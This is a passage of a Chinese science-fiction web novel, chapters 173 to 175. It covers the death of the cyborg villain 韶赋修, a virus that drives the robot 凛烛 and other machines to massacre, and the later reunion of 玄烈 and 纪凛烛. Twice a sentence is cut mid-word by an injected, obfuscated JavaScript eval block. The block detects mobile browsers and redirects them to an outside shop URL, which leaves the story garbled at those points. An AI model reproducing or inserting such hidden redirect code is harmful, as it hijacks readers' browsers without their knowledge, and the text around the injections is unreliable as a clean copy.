这没来由的传染病和风言风语给了舜氏集团不小的打击,与此同时,不知乘着什么东风的潼氏集团开始扶摇直上,从某个舜延难以察觉的瞬间,潼氏彻底脱胎换骨重新站上了可以分蛋糕的领奖台,很难让人不猜测这其中是不是有什么弯弯绕。 在这里,凛烛的记忆忽然插入了一段极不和谐的监控录像,录像颜色不那么鲜明,偏黑白调,声音也带着类似磁带转动播放的卡顿感。开头是某个风调雨顺和润清朗的下午,容光焕发的韶赋修坦然地走进舜延办公室,直接站到了舜延的面前。 他一改以往面貌,头发留长了几寸,戴上了眼镜,深棕色毛呢大衣下是板正的西服裤配皮鞋,脸附面罩,将自己捂得严实。 “我只是施了点小手段,让你见我一面。” 收到卫生部发来的最新病毒感染死亡人数统计,舜延双腿发酸,艰难地从沙发椅上站起,“这样草菅人命,你良心何在!意图是什么?” “找回我失去的。”韶赋修瞥了眼舜延痛风的双膝,甩出眼镜布来擦拭着镜片。 “那你得去别处找,舜氏不欠你的。”舜延走到韶赋修面前。 “有,”韶赋修手里动作一顿,戴上了眼镜,“芯片,和……我的孩子。” “你的孩子?”舜延眼角微搐,心脏猛然一抽。他本竭力帮潼玚彻底隐瞒住孩子的存在,到头来竟然还是让他发现了,“这没有你的孩子。” “舜延,你还是不会撒谎。”韶赋修摇摇头。 此刻这个仅仅才一岁的小孩儿在哪呢? 在玄诤家里。 一改灰扑扑的监控录像,画面瞬时变成了清晰度不太高但色彩鲜亮的视频。某个人举着手里的摄影机,视频焦点永远锁定在人群中的一个小孩身上。 玄铮大老粗一个,硬是把孩子要过来,却完全不会照顾,整天对着哭闹不停的小孩束手无策,只能在连续几夜未眠后,顶着个大黑眼圈将这小孩寄养在妹妹家。 几人围着这小孩,满心欢喜要给孩子取名。可他们一人一个提议,谁也难以说服谁,眼看要吵起来了,玄铮才摆摆手叫大家消停。 最终大家决定,让这孩子抓阄。所谓自己的人生自己做主,就从选名字开始吧! 但那么小的孩子大字不识一个,本就木讷,再加上玄诤暗地里做了些手脚,孩子的名字就这样确定下来。其他人虽多少都有不满,但满满当当一屋子的人硬是没谁发现玄铮作弊的事情,只能当作命运使然。 他们三三两两手里拿着的全都是各种玩具,晃起来叮叮当当嘈杂异常。小孩也不嫌吵闹,他纯净无辜的眼镜眨巴眨巴,小嘴一翘,对着手拿拨浪鼓的玄铮笑得灿烂。 玄铮见他笑了,一时间更是得意地脚要翘到天上去,“看见没有?看见没有!他喜欢我起的名字。” 大红拨浪鼓在眼前晃啊晃,玄铮拨起孩子的下巴,一连串做了好几个又丑又变态的鬼脸,最终回归到大笑,“他们不信,你说,你是不是喜欢我起的名字?啊,玄烈?玄烈……” “玄烈——” 一声声叫喊在实验室里回荡,玄烈定定地站在场中,听着那梦魇一般的呼唤声。在此之前他从未感觉到“玄烈”这两个字是如此的陌生,不光名字,他对自己也陌生了。 他的视线紧锁在那个名叫玄铮的人脸上,他越想看清反而眼前越模糊了,到最后只剩下那个大红拨浪鼓的虚影在空中摇,直到视野被下一个镜头下一个场景铺满。 所幸韶赋修似乎只知道孩子的存在,但并不知晓详情,可能还以为是舜延故意把孩子偷了要刁难他。 对峙的间歇,舜延努力思考着怎样将这疯子糊弄过去。 “舜延,我记着和你的交情,本来不想逼到这里,如果你还念着点过去,就把我要的交出来,否则……”韶赋修说着便张狂地笑了起来,他用力一扯,面罩落了地,舜延一下就看到了韶赋修的下半张脸。 那是什么?是人的肌肤,却有着机械的纹理,他的嘴一张一合时,仿佛有几个齿轮转动的咔咔响,这一部分已经几乎没了血色,完全在靠机械运作。 “你……你疯了!” 舜延再怎么恨铁不成钢也没有想到韶赋修竟会夸张到试图把自己改造成一个机器人,他突然想到暴毙的潼玚,又想到侥幸活下来的那个小男孩,一身冷汗。 “你真是一个彻头彻尾的疯子!你……” “舜延,我已经不能回头了。” “我再说最后一次,舜氏集团没有你要的东西,这已经不欢迎你了,你从哪来再回哪去吧……”舜延转身不看身后人,语重心长地说。 “你又比我强多少!你表面上营造一个和谐的假象,实际上呢?你的孩子、你身边的人,没有一个敬重你、信服你,你还把希望寄托在一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14411600|121494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个可笑的机器人身上?你没有野心!一个没有野心的人是支撑不了这座庞大的科技帝国的!你才是真正不配站在这里的人!” 韶赋修话说到一半摇头冷笑,他的双眸泛着和之前潼玚眼里一样的汹涌红光,他热血上涌,脸憋得通红,“我知道,你一直在寻找的,舜希的下落……” 听到这话,舜延的心脏开始猛烈跳动,这让他极为不适。他头重脚轻,全身冒汗,却又隐隐发冷,好像一片迷雾阴云笼罩着他,让他混乱,不得动弹。 “这不用你操心……” “我可是好心啊。”不知什么时候,韶赋修突然窜到舜延身后,探在他耳边,把舜延吓得一跳。 “不如,咱们交换?我给你指一条找到你宝贝女儿的路,你把我的孩子给我……没人有权利把孩子从他父亲身边夺走的,对吧?” 舜延竭力令自己镇静下来,他缓缓回身,“你只要孩子?鬼也不信吧。” “你猜对了。我还要能帮我实现统治的一切!这里的成果哪里没有我的一份功劳,这本来就有我能调遣的军队!我要至高无上,我要无尽的繁荣!我没空陪你们玩这些游戏!有胆搞真枪实弹,却没胆真开他一枪!懦弱!” 舜延深吸了一口气,才敢韶赋修对视,也才看到了他那双冷漠的红色机械眼。 “你、你也植入了芯片?!” “不见的日子里,我无时无刻不在秉持我的愤恨,那些事情不仅没如过眼云烟消散,而且还像一条亘古流传的铁律刻在我的骨髓里!实话告诉你吧,拿走芯片的那一个月,加上之前你把我踢出核心团队之前我了解到的内容,完全足够我研发一套属于我自己的东西!一年来,我日夜都在为此奋斗!这里面有所有我想要的,能辅佐我的力量!在我依靠这力量筑就我的霸业之前,我要,我的孩子!” “你这肉体凡胎怎么能承受得了!” 舜延怒目嗔视着韶赋修,在他细小的颤抖中,韶赋修的下颌还在有规律地作响。在韶赋修的口中,舜延看到了他口腔内壁上发着光的细微的电路,全部通向咽喉,上颚由钢板组成,被用钉子钻在一起,显然是劣质而痛苦的手术成果。 他的舌头已经溃烂,几处伤口已经在往外涌血,牙龈萎缩糜烂,牙也掉了几颗,剩余的在钢板和线路的夹缝中摇摇欲坠,抛去机械强硬的运作声以外,还隐约听得到电流与液体碰撞发出的“滋滋”声。 “所以,你还认为我是肉体凡胎?” 惊愕之余,舜延感到从胃中翻上来的酸液让他眩晕、想呕吐。面前这个已经不能完全称作是人了,韶赋修的狂妄已经远远超出了舜延的认知。 “给我……我的孩子……” 韶赋修变异般的开始口齿不清,声音变得嘶哑,他全身胀得充血、通红,四肢先是像面条一样黏软,又像灌了钢筋水泥一样绷直,他直立着,活活比之前高了半倍。他身上的衣服被撑烂、撕裂,露出他银灰色的身体,或者说,是机械外壳,但他还没有停止膨胀。 他的头发、指甲,尽数掉落,先是隐隐流出不知来处的鲜红血液,又仿佛在自我愈合,在全身各处形成可怖的伤疤。他强烈地抖动着,深棕色闪着红光的眼睛渐渐变得透明,进而散发着更耀眼的红光。他像一个营养不良的机器人,又像一个即将进化成幽魔的恶灵。 舜延看着这一幕油然而生一种无法忽视的畏惧,这种恐惧让他不得动弹,近乎要瘫坐在地上。 很快,凛烛等人循声赶来,将舜延围在身后,预备对这怪物发起攻击。但一根弦已在心间绷了半天,这怪物却纹丝不动,只一味地强硬地盯着舜延,“还我……孩子……” 如果不是知晓内情,任何人看到这幕都会不禁为这样一位伟大的父亲而流下一滴泪。 173. 凛烛(6) 没人嘲笑韶赋修寻找骨肉的心和他对潼玚扭曲但无尽的爱。可他太过于疯狂,他的野心大到足以笼罩整座永璃岛以至方圆几万公里以至半个世界,但又有有谁甘心活在他的阴影之下。 凛烛先发令让一些机械体去贴身守卫董事长,又屏气凝神等待时机。他和在怪物另一侧的伏策交换着眼神,企图从两侧包夹这怪物。 怪物此时迈出脚边一堆衣物向舜延走去。 凛烛和伏策立刻各自拔出大刀与匕首冲向怪物,分别在怪物的腰、腹、颈猛砍了几刀,机器人力量锐烈,钢刃和铁壁碰撞发出巨大声响,摩擦间,怪物竟毫发无损。 他行动缓慢,篮球一般大小的手攥紧了拳头,首先向伏策砸去。在伏策吸引了怪物注意力的同时,凛烛腾跃而起,铆足了劲,也向怪物头部猛砸一拳。 这一拳让怪物对伏策的攻击扑了空,伏策顺势一把抱握住怪物的手臂,让他行动不便。 本以为就这样钳制住了这怪物,不曾想他的实力还未完全释放。只见他活动了下肩颈,一股力量从上而下顺延到手腕,接着寸劲一甩,伏策便飞了出去。 凛烛反应不及,又结结实实挨了怪物一拳,这让他勉强举起作为防护的手臂险些错位断掉。 这怪物太强了,房间也太小,眼瞅着怪物即将膨胀到脑袋顶出天花板去,他们很难有施展空间。一旦怪物卯足力气势要取舜延的性命,那些用于守护的机械体并不太应付得了这怪物,其余黑羚羊也第一时间无法再挤进这片区域,董事长的人身安全岌岌可危。 无论人还是机器,最薄弱的都会是脑或者是心,显然第一次凛烛的攻击已经让这怪物受挫,那么,接下来的目标依旧瞄准他的头即可。 凛烛揉着手臂爬起,想来这是他们训练时遇不到的强敌,于是倒暗暗有种兴奋的感觉,一种渴望力拔山河的快感。 但凛烛不确定他能不能一举杀掉这怪物。 他身上所拥有的致命威力自不必说,关键在于董事长是否许可。董事长能不能狠心咬牙不顾过往,将已经变成怪物的韶赋修杀掉,又或者他心生怜悯,想要再一次试图教化感动韶赋修回到原样?凛烛在董事长复杂的神情上什么都读不到,或者董事长自己都还在纠结。 没时间犹豫了,凛烛自我调换成完全战斗模式。四肢的软壳随着“吧嗒”一声响,全部自动剥落,内层是坚实的、炮弹不摧的钢壁。撕裂的衣物下,两只手臂青筋暴起一般地凸起一条条线路的形状,重要关节处卸下皮囊,以便于能够360°全方位旋转。他的胸口开始散发蓝光,与形成炮筒的拳头一齐对准了怪物。 此时韶赋修依旧在进化着,他艰难地弓起脊背,椎骨间凸起许多刺,这些刺尖锐锋利,扎穿了他身上仅剩的几块布料,这样的他已经完全失去了人样,成了不折不扣的怪物。 他眼里充满杀气,低声嘀咕着什么。 突然,他向凛烛疯狂奔来。 也是顷刻间,凛烛胸口猛的释放出蓝色激光,直直冲向怪物的眼睛和胸口。那光束好似烈火和尖爪,狠狠灼伤了怪物的眼睛。 怪物受击后痛苦地捂住双眼。眼里的红光消失后,怪物尚未发作的力量似乎消逝掉了,他跪倒在地上,人们才看到他胸口正汹涌冒血,也才看到他心口直接空了一块,隐隐还有灼烧后的灰烟从伤口中飘起。 没给他几句话的机会,甚至他还没来得及喘息,就彻底倒在地上,一动不动,再无声息。 韶赋修死了,他就这样死在这里,连同他的挂念和尚未展开的宏伟梦想。 他死得痛快,死得遗憾,死得令人难以置信,仿佛一场大戏还未展开就无奈陨落,观者还未拍手叫好就利索地看到了结局,甚至赚不回门票钱。 舜延将他和潼玚葬在了一起,想来就这样结束他耀眼又短暂的一生倒也不错,虽然事情顺利地可怕,好像还有什么隐晦在不可明说地流动,却没人愿意多想。 凛烛实实在在成了英雄,他其实并不算过瘾,但也开心。他开始频繁进出实验室,这一场小战斗让实验人员的目光从第二小盒子又移回到他身上,他又开始了众星捧月的生活。 舜延依旧在偷偷打听他另一个女儿的下落,韶赋修的死顺便带走了找到女儿的苗头,他心里最柔软处的小青芽正要生长,却被突然掐灭了。燃起希望又掉下谷底,让这个父亲的心一遍又一遍地钝痛。他不愿意提起,舜真也懂事地闭口不谈,于是外人甚少知道。外表上看再和谐再富贵的家庭也有隐伤。 那枚芯片初步完成,他们在一个小机器人身上做了实验,效果可观,便商讨着这枚芯片是留给即将超越一切的第二战备还是植入凛烛脑中。如果给了凛烛,他便可借此力量与即将出世的第二战备比肩,二者同时成为无可撼动的存在。 就这样,第一第二战备和芯片以及颠转机器2.0的正式诞生使人们完全沉浸在成就感中,时间一天天流逝。 但好景不长,某个人的欲望还在作祟,他发誓要搅得这里不太平,自然不会放任自流。他化无形与空气中,好似高居天梯之上俯揽着一切,以至于后来舜氏的人们总觉得活在一片邪祟统领的阴云之下,让人惴惴不安。 区别于之前在人类间的感染,自某天起,舜氏内部开始断断续续产生机械体暴动。一部分机械体一夜之间性情大变,像是病毒有了灵性而自动更换了攻击目标,不同于人类,机械体机器人单以指令和数字组成似乎是更便于控制的。 待一个夜深人静之时,在众机械体身体内蛰伏已久的病毒同时被激发。他们忽地暴起,烧杀抢掠,通通将视野里可以见得的一切砸得稀烂,他们释放着怒吼,间或低语什么,仿佛黑客入侵恶魔附体,研究人员不管怎样调控指令和按钮都无济于事。 人类在狂怒的钢铁面前是毫无胜算的,这一片机械龙卷风自形成就从未消减。他们好像拥有源源不绝的动力,所到之处一片狼藉,并且已经形成了一支军队,然而他们之间却不会自相残杀,目的很明确。 这一股可怕的势力立刻时高层警觉,他们先是试图压制但损兵折将,渐渐的,“病菌”传染到更高阶的机械体身上,于是这组军团越来越强大,威力不容小觑。 打从一连串的事件接连爆在舜延面前,他的身体就日渐虚损起来。十几年前妻子离世,加上舜氏被远在大洋另一端的某些科技巨头围剿,病根从那时便落下了。 对于病毒的爆发,舜延起初并不太在意,只是命令凛烛和伏策前去应对,但结果让他头疼。由于一直得不到重视,等到舜延等人正式注意到了这点,连第一战备也难挡再感染机械体大军的突袭。他这才发现,舜氏集团大半壁江山竟然都被入侵了。 核心人员开始着急,但他们又不忍心让凛烛彻底完成高级战备形态,这样损耗太大了。凛烛同伏策等全体黑羚羊在数次与机械体军团的交战中连连败退,尽管他们已经尽力战斗,摧毁敌方数前架战斗机器,但依然有前赴后继的机械体如潮水一般涌来。况且他们本身也需要注意防护,如若他们内部再有谁感染病毒进而沦陷,那后果将不堪设想。 此时 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子弹横飞精准击中了不少机械体的脑袋,凛烛却只嫌太慢,一把扛起身边钢板狠狠甩了出去,那钢板在空中回旋、加速,一下把前脚踏入门内的机器砍掉大半,一时间断臂残甲散落一地,钢枪利刃胡乱地飞。 可浪潮还在汹涌。一些更高阶的机械体踏着前人的残骸向前挪动,他们有的手生尖刀,向凛烛抛掷,有的长臂化枪,向凛烛射击。陡然间,实验室中枪林弹雨,众人有的避之不及,有的眼疾手快躲了起来。凛烛定定地站在场中,他一手护眼,一手直直抬起,将手掌心毫无防备地对准那众机器,他的坚甲将子弹和刀片尽数反弹,引得机器人们自损八百。 混乱中,他手掌开始破裂,逐渐显现出奇怪的纹路,像是一扇屏幕,又像是一面黑洞,让人无法聚焦,只觉晕眩。随着他长舒一口气,手掌中间猛然出现一漩涡,将稀碎的物品向他自己吸卷,与其说是气旋,更像是倚靠磁场力量。刀片、子弹,在飞转到他面前时全部奇迹般的停住。像是要将这一切攥在手里,他隐隐蹙起眉头双目紧盯自己的手,发力微颤着用力弯曲手指握紧拳头。 在众机器人看清他手上的动作时,他猛地冲拳,一股强大的力量瞬间连同他吸住的武器一起将面前一切震得老远。这力量仿佛撼动了永璃岛,众人只觉脚下一震,便开始强烈的耳鸣,这近乎让他们感到头晕眼花快要炸裂。 就这样,凛烛从背后卸下一根钢筋大刀,开始对着所有逆反的机器一片乱砍,同黑寂军一起,沿着他们进攻的方向如压路机一般势不可挡地推进。这把刀削铁如泥,很快,周边都安静下来,只是整座大楼从上到下都留下了战争的痕迹。 没有血腥的废墟,一样让人触目惊心。 一段时间的死寂后,幸存的人们从各处探出头来,他们庆祝着战争的胜利,虽然壮烈、虽然死伤惨重,但活着就是万事大吉。他们等待着凛烛的归来。 沉重的脚步在拐弯处响起,人们迎接他们的英雄,准备放无声的礼炮。直到舜延看到凛烛的那一瞬间面色突然冷了下来。 凛烛身上四处是伤,可是为什么还有血迹。 舜延没开口,就从凛烛的眼中看到了一切。他无异于是他的孩子,凛烛任何的细微变化,舜延都看得出来。 他看到凛烛仿佛依旧不是他的孩子了。他眼里闪烁的杀意,告示着人们他一路走来才是真正的寸草不生。 整座大厦中的生命几乎殆尽了,才真正是凛烛的杰作。 174. 第二战备(1) 战争仍在这片土地上蔓延,楼内楼外冰火两重天,冷战与热战是一样的恐怖。舜延不敢开口,众人不敢呼吸,他们注视着这个死亡机器。 忽地,众人背后大屏幕之上的大厦监控内,一间位于大楼中层角落里的房间图标开始在屏幕内猛烈地跳动,警报声腾然爆响,尖锐如锥子的声音即刻钻入他们的耳朵,带着要将他们震聋的气势,有几个人的耳朵登时淌起了血。 舜延心惊胆战地回头看向屏幕,纪棠烬反应迅速先喊道:“是颠转!颠转被启动了!” 众人大呼不好,着急忙慌想赶到房间去控制局势,可凛烛一夫当关占据在实验室门口,令他们刚上前两步又频频败退回来。 身负重伤的伏策艰难地爬起来,站到凛烛的对面。两个机器人对视无言。伏策意识到发生了什么,他看着那对眼睛就明白了一切。 等不到他开口唤一声凛烛,凛烛就蹬地而起率先抽出库星锥向伏策刺去。 冷兵器相击硬是在场内释放出不亚于热兵器的声响,伏策虽熟悉凛烛的一招一式,但他越不过实力悬殊的那道坎。在芯片作用下,凛烛的速度比以往提了三十倍不止,手下的力也膨胀到五十倍以上。凛烛连连进攻,伏策却躲得无比艰难。 但最关键的时候,伏策还是不要命地扑在了凛烛身上。利刃在他胸膛肋处划了无数刀,快疼到昏厥的伏策仍死死咬着牙,硬是等前去阻止颠转机器运作的实验人员离开了实验室,他才筋疲力尽地松了手。 又几番回合,本就没能力再战的伏策败落。凛烛忘了这个他曾经最好的朋友,他一把抓起伏策的衣领,盯着伏策绝望的眼睛,收起库星锥,换成他们都拥有的那柄背后的钢筋大刀,一刀砍断了他的脖颈。 晃着神的凛烛发现实验室竟偷跑了那么多人,越发癫狂起来,开始无差别追杀屠戮那些赋予他生命的人。仅存的黑寂军根本难以抵挡,机械残肢遍地都是,鲜血溅在他的身上,他却越发兴奋失控。一声声尖叫极其惨烈,令听者魂飞魄散。 “凛烛!” 血雾弥漫中,他听到熟悉的叫喊,转过头去,看到了那抹杏色长裙。 “舜真!你来这干什么!快跑!” 舜延刚想拉起舜真逃跑却被她甩开。舜真没有理会父亲,她眼含泪水向凛烛走去。舜延满脸悲痛却唤不回他这天真的女儿。 千百年来,总是有人类妄想感动没有灵魂的机器。 “凛烛,你看着我,你还记得我吗?” 发了狂的凛烛喘着粗气,他此刻衣衫不整,黑亮的头发沾染着湿气,配合那鲜红的血遮住了眼睛,半张脸混着血污,嘴里长出了獠牙,活像月圆之夜的狼人一般,只是没人会在此时注意这个副作用。 他盯着舜真,一秒,两秒,三秒,他突然举起大刀要向舜真砍去。 隔壁突然传来婴儿啼哭声。 新鲜的生命,生机勃勃的气息,全都犹如一阵清流吹进凛烛的心间。这声音让凛烛警觉,他停滞了片刻,眼含兴奋的光芒,举着刀准备往隔壁走去。 突然间,身边微风一吹,脖颈处传来针扎般细微的痛痒感,凛烛愤怒地回头,看到舜真颤抖手中的小小针管。还剩浅浅一层深绿色液体在针管里震荡,粗粗的针头歪出了微小的弧度,大概是折与针头刺进他颈后厚实表皮的时候,凛烛没空理会,他的视线里是更有诱惑力的东西。 “求求你不要!你杀了我!她还小!放过她!” 一位满身是血的白褂工程师扑上来抱住了凛烛的腿,想来这位就是婴儿的母亲,她泪流满面,头发被汗水和泪水沾湿,凌乱地贴在脸上,她撕心裂肺,让人触动。可惜,凛烛不是人,他踢开这位母亲,依旧向前走。 “放过这个孩子!” 舜真再次挡在凛烛身前,尽管她手里只有那个渺小的针管。她眼神坚定,抱着必死的决心,站在她曾那么倾心的机器人面前。 可惜凛烛什么都听不到。婴儿孩子啼哭着,他眼里的红光越发凌厉。 他将刀架在舜真的脖子上,越过她,大步跨到内层实验室里。实验室的门“嘭”地快速合上了,在舜延冲进来的前一秒。 眼神一转,凛烛在角落的一个冰冷实验台上看到了那个孩子。婴儿哭声急切,此刻的她急需要母亲的安抚,但她或许再也等不到了。 他向婴儿走去,舜真也跟着跑过来,死死揪住他的衣角,“凛烛,凛烛!我求求你清醒一点!” 暴戾的机器人烦躁起来,他轻而易举一把攥住舜真那若不惊风的手腕,愤怒地反方向扭动着。舜真吃痛不已,瞬间就别红了脸,她咬着牙,直盯着凛烛,即使她纤细的手腕即将被掰断。 那一刻,凛烛浑浊的目光捕捉到了从舜真下颌滴落的泪水。自古到今,眼泪无疑是最真诚的象征,无人不为之所动摇。 他瞬间怔住了,刹那间倍感头痛。他狠狠捂住自己的头,却不能止息,痛苦让他开始捶打自己,他感受到两个自我在碰撞,一个是真实的他,另一个是未知的另一人。 也可能是那怪异的针剂发生了作用。莫名地,凛烛感到身体内各个器官都燥热不已,一束又一束幽绿的冰凉气息包裹着他急速运转到即将爆炸的零部件,身上遍布的伤口在好一阵疼痛后竟缓缓愈合起来,头脑却在旋转漂移脱轨的道路上越走越远。 “心软善良大发慈悲是人类最最最没用的特性……” 一个空洞的声音从房间各处传来,这是只有他能够听到的,但他什么话都说不出来。两簇独立相克的基因在他身体里打架,他认出了舜真,却不能抱紧她,一方叫他大杀四方,一方叫他清醒一点,他不想对亲密的人举起无情的刃,但他也做不到。 舜真,做点什么,舜真。 舜真看着他这副痛苦的样子,更是难受千倍万倍。 “颠转,颠转……”凛烛痛苦地弓起后背,“恢复颠转的角度、角度是……” “是什么?!”舜真扶着凛烛的肩膀。 眼见那话就到嘴边了,凛烛托着疼痛欲裂的脑袋就是说不出口,急得舜真原地打转。忽地,她看到了凛烛眼里的光在闪烁、变换颜色。 这一发现使舜真激动地开始呐喊:“结血束!结血束!” 从凛烛腰侧拔出库星锥,舜真撸起袖子,咬着自己的嘴唇,一刻也没犹豫,就将那沾满鲜血刃带血光的刀往自己大臂上转着圈地划。 就在这一刻,舜真丢下刀,将鲜血一下子按在凛烛的眼睛上。 “角度是多少!”舜真喊道。不仅整条手臂,她的嘴也被自己咬得血一个劲地淌。 “A旋2,B、B旋……7,顺时针。”凛烛“嗵”地跪倒在地上。 世界又安静了。 与此同时,强烈的震感从地底传来。 是地震。在颠转作用下,永璃岛时隔百年再次爆发了地震,而这势必会连带百年不遇的大海啸卷土重来。地动山摇,高处的事物摇摇欲坠,人们展开了慌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14429159|121494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忙逃窜。 凛烛还未完全恢复意识。舜真或许是担惊受怕过度,也可能因为流血过多,在看到凛烛冷静下来以后刚开口想说点什么,却只说了个“你”便昏了过去。 快被病毒和芯片折磨成残废的凛烛用库星破开了实验室的门,舜延看见自己浑身是血的女儿也差点晕厥过去,幸好玄铮撑着他,第一时间按了人中,舜延很快就苏醒过来。 他一眼便认出女儿手臂的伤因何而起,也才明白了舜真的良苦用心。这不是能久留的地方,舜延嘱咐玄诤先带舜真和剩余人员离开,他则要最后再安顿好这架他最优秀的作品。 凛烛再次睁眼,在血色模糊中,他看到了那位母亲哭泣着抱走了那个婴儿。他感到疲惫不堪,甚至有想流眼泪的冲动,但他是机器人,机器人没有眼泪。 “她有名字吗……” 那母亲听到这话愣了一下,摇摇头,又赶快跑开了。 “对不起……”凛烛对着空气凭空说道。 凛烛有预感自己活不长久。他耗费了太多能量在方才的一番折腾上,何况要不是那股能够治愈一切的神之力量,他或许已经在芯片的力量下被自我和病毒的争斗撕碎了。 尽管智识芯片尚未收到致命损伤,尽管他躯体完好,但他还是不想再被医治了。他好像真的习得了一点人类的品性,这时候图生了一丝绝望出来。 舜延搬不动凛烛的钢铁身,他倾听了这孩子的心愿,伤心起来。但他不能不走,舜氏集团失了他就真正失了魂,再难过也还得放弃。 大厦将倾前几秒,舜延拼了命逃了出来。生死时速之间,他切齿痛恨,想到了这一切还是韶赋修的杰作,他阴魂不散,或许阴谋才刚刚开始。 离开时,他听到凛烛最后的喃喃自语。 “如果还能找到我……我不想,再像这样活着……” 玄烈看到的最后一个画面是凛烛在坍塌的世界中安详合眼。关键片段播放完毕的字样掩盖住雾蒙蒙的黑屏,门外的声响重新传入玄烈的世界时,他感到全身上下都在压抑着钝痛,活像是几百块大石头压在他的身上无法动弹,那是一种心如槁木的窒息感。 所以不让他像那样活着的做法就是用两个无辜的人继承他的意愿吗?让玄烈继承他的身体,而让纪凛烛继承他的名字?舜延可真够有想法的。想到屏幕里展现的前前后后,玄烈徒生出一丝惆怅的恨意来。 但是说到这里,纪凛烛是无辜的,那他玄烈也真的无辜吗? 那些思考着自己真实身份而夜夜难寐的时刻,全都像被病毒控制的炸弹一样,分明是自己创造出来的,现在却要调过头来预备把他炸个粉碎。 伴着智识芯片记忆提取仪盖子自动弹开,玄烈突然想到,如若这个实验室里险些死在那个机器人刀下的孩子得到了机器人的名字,那么这个孩子即是…… “是我。” 一声清朗的少年音响起,玄烈一惊,如若一根悬在头上的、拴着一块铁砧的钢丝忽地断了,无论有多惊讶有多激动,他只敢一满再慢转身。 熟悉的身影就立在玄烈的背后,不知立了多久,可能跟着他看完了整场二十年前的“表演”。她摘下卫衣帽子,微卷的长发散落开来,一双在长久训练中磨满茧子历经风霜的手轻捧下那面普普通通的灰色面具,露出一双泪眼。 “是我。”这次换回了她本来的声线。 纪凛烛本想忍住眼泪,可泪水还是流了出来,她哭得令人痛心。 175. 第二战备(2) “阿、阿烛……” 玄烈的声音一出,把他自己都吓了一跳。简直干涩如在海底独自吟唱的十年的海螺,嘶哑如磨前辛苦耕耘了十个世纪的老牛。 他连忙使劲清了清嗓,顺带清了清脑袋以确保自己真没瞎了眼。 因略带委屈而微微皱起的眉头下,一双亮汪汪的眼睛仍淌着泪水,只是下方的嘴角缓缓扬了起来,她成功被玄烈逗笑了。 张皇无措的玄烈朴实憨厚地搓着双手,一口气也不敢喘,目光一刻也不肯移开。他缓缓走上前去,首次毫无防备地站在这个他之间几次见面都会颇为警惕的危险人物面前。 “我以为我在做梦……”玄烈呆呆地说。 “你是在做梦。”说着,纪凛烛伸手弹了下玄烈的额头。 “啪”地一声清脆响,玄烈却抓住了纪凛烛手。这只手在经历好一阵玄烈难以想象的磨练后变得更加宽厚了,手背上满是呈喷溅状的星点伤疤,手指还是一样修长,只是指节变得凸出许多。 纪凛烛受窘着很快将手抽了回去,“这里不是说话的地方,玄烈,拿好芯片。” 问候的话已积在嘴边,玄烈硬收了回去。但他突然想起了什么,急忙翻找着口袋,“幸好、幸好……” 一块叠得整整齐齐的手帕从兜里被安安稳稳地拿出来,上面的血已经清洗干净了,小熊、时韶花、银河等图案再次清晰可见。纪凛烛笑着接过来,驾轻就熟地绑在头发上,一如之前那样。 心满意足的玄烈跑到仪器边取走了第一战备的智识芯片,又摸了摸口袋确认那枚异兽芯片完好地待着。一转头,熟悉那对的机械臂出现在他视线里。 切割机锋锐扎耳的声音已经结束,取而代之的是雄浑的重柱砸门声。依据声音来判断,外面的人似乎用了两个小炸弹要炸门,但以失败告终了。 纪凛烛举着的手枪正对准门边的开关,她的子弹一发射,外面堆积的黑寂军便会如洪水一般涌进来。 “准备好了吗?”纪凛烛问。“准备好了。”玄烈反手握着库星锥明显蓄势待发。 “等一下!”纪凛烛端着枪的手忽地放下了,“什么声音?” 那是一种比玄烈方才说话的嗓音更加诡异的声响,像一座超大号世界型吸尘器,又带有只有在深空中可能听到的宇宙回想,之间夹杂着的电流嗞嗞声听得人心痒。 随着门外这类声音的扩大,门内,他们身后靠近大屏幕的地方,一排金属制的操作台也爆发起“嗡嗡”不停的声音,很快,房间中央的金属台也有反应。 “电磁引力炮?”感受到身体仿佛在被无形吸力扯向门口的纪凛烛反应过来,“大手笔啊。” 玄烈赶到纪凛烛身边,“阿烛,抓住我。” 他将库星锥高高举起,锥尖径直对着天顶,纪凛烛很快明白他的意思,于是两只机械手储备好能量,也握向库星锥的手柄。 源源不断的青光从玄烈膝下燃起,顺着他的骨头缝和关节处向外涌。他合着双眼,那光也从他眼间流淌出来,一路向上汇合至库星锥。 场周金属台也有动静,那些嗡鸣声也以无形化有形,跟随着库星锥锥尖的指引而丝丝缕缕形成飘渺的白雾汇入能量光内。 外面也有了反应,似乎是感应到引力对象发生了变化,他们更加大了马力,但房内的力量也足以与之抗衡一阵。玄烈一步不敢挪动,他怕被吸到门边再被炸一下,脑子恐怕就要被炸坏了。 待声响越来越大,门外传来“嘀嘀”的警报声。默数三秒后,“嘭——”,爆炸声响起。耀眼光团从门缝中刺了进来,二人手里牵扯的力量一松,全都重心不稳向后仰去。 即使那声震荡被门削弱了至少一半的音量,传到房间内仍然震得他们耳朵发鸣。门虽为被炸开,却已经可以见得门缝边被炸得只剩下薄薄一层了,巨大的陨石坑形炮坑横在门上,外门人闯进来只是分秒间的事。 纪凛烛托了下玄烈的肩膀,二人齐齐站稳。她给玄烈递了个眼神,表示主动权还是要掌握在自己手里,而后干脆地拔出枪,“砰”地一声射中了开关。 一阵阵沉重的拖门声还未施展完全,黑寂军便端着枪戟冲了进来。 